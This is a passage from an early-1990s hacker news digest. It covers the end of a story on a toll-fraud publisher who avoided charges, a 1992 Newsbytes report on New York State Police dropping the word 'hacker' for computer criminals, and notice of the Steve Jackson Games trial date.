Pollard that he'd never told the Shark to do anything illegal.
Nevertheless, says Williams, the agent implied that Williams and members of
his family who work for him might be prosecuted for publishing voice-mail
access codes.
In the end, no charges were filed against Williams, who admits he has a
thing against big business, especially the phone companies. "For decades,
they financed right-wing regimes in Latin America," he rants.
It's a crazy world, that of the telephone toll fraudsters.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
10. NEW YORK STATE POLICE DECRIMINALIZE THE WORD "HACKER" (Barbara E. McMullen
& John F. McMullen, Newsbytes, 10/21/92) -- ALBANY, NEW YORK -- Senior
investigator Ron Stevens of the New York State Police Computer Unit has
told Newsbytes that it will be the practice of his unit to avoid the use of
the term "hacker" in describing those alleged to have committed computer
crimes.
Stevens told Newsbytes, "We use the term computer criminal to describe
those who break the law using computers. While the lay person may have
come to understand the meaning of hacker as a computer criminal, the term
isn't accurate. The people in the early days of the computer industry
considered themselves hackers and they made the computer what it is today.
There are those today who consider themselves hackers and do not commit
illegal acts."
Stevens had made similar comments in a recent conversation with Albany BBS
operator Marty Winter. Winter told Newsbytes, "'Hacker' is, unfortunately
an example of the media taking what used to be an honorable term, and using
it to describe an activity because they (the media) are too lazy or stupid
to come up with something else. Who knows, maybe one day 'computer
delinquent' WILL be used, but I sure ain't gonna hold my breath."
Stevens, together with investigator Dick Lynch and senior investigator
Donald Delaney, attended the March 1992 Computers, Freedom and Privacy
Conference (CFP-2) in Washington, DC and met such industry figures as Glenn
Tenney, congressional candidate and chairman of the WELL's annual "Hacker
Conference"; Craig Neidorf, founding editor and publisher of Phrack; Steven
Levy, author of "Hackers" and the recently published "Artificial Life";
Bruce Sterling, author of the recently published "The Hacker Crackdown";
Emmanuel Goldstein, editor and publisher of 2600: The Hacker Quarterly" and
a number of well-known "hackers."
Stevens said, "When I came home, I read as much of the literature about the
subject that I could and came to the conclusion that a hacker is not
necessarily a computer criminal."
The use of the term "hacker" to describe those alleged to have committed
computer crimes has long been an irritant to many in the online community.
When the July 8th federal indictment of 5 New York City individuals
contained the definition of computer hacker as "someone who uses a computer
or a telephone to obtain unauthorized access to other computers," there was
an outcry on such electronic conferencing system as the WELL (Whole Earth
'Lectronic Link). Many of the same people reacted quite favorably to the
Stevens statement when it was posted on the WELL.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
11. STEVE JACKSON GAMES TRIAL DATE SET -- Mike Godwin, General Counsel for the
Electronic Frontier Foundation, announced on December 23rd that the case
of Steve Jackson Games, et.al. v. The United States Secret Service et. al.
will go to trial in Austin, Texas on Tuesday, January 19, 1993.
_______________________________________________________________________________
--------------------------------------------------------------------------------
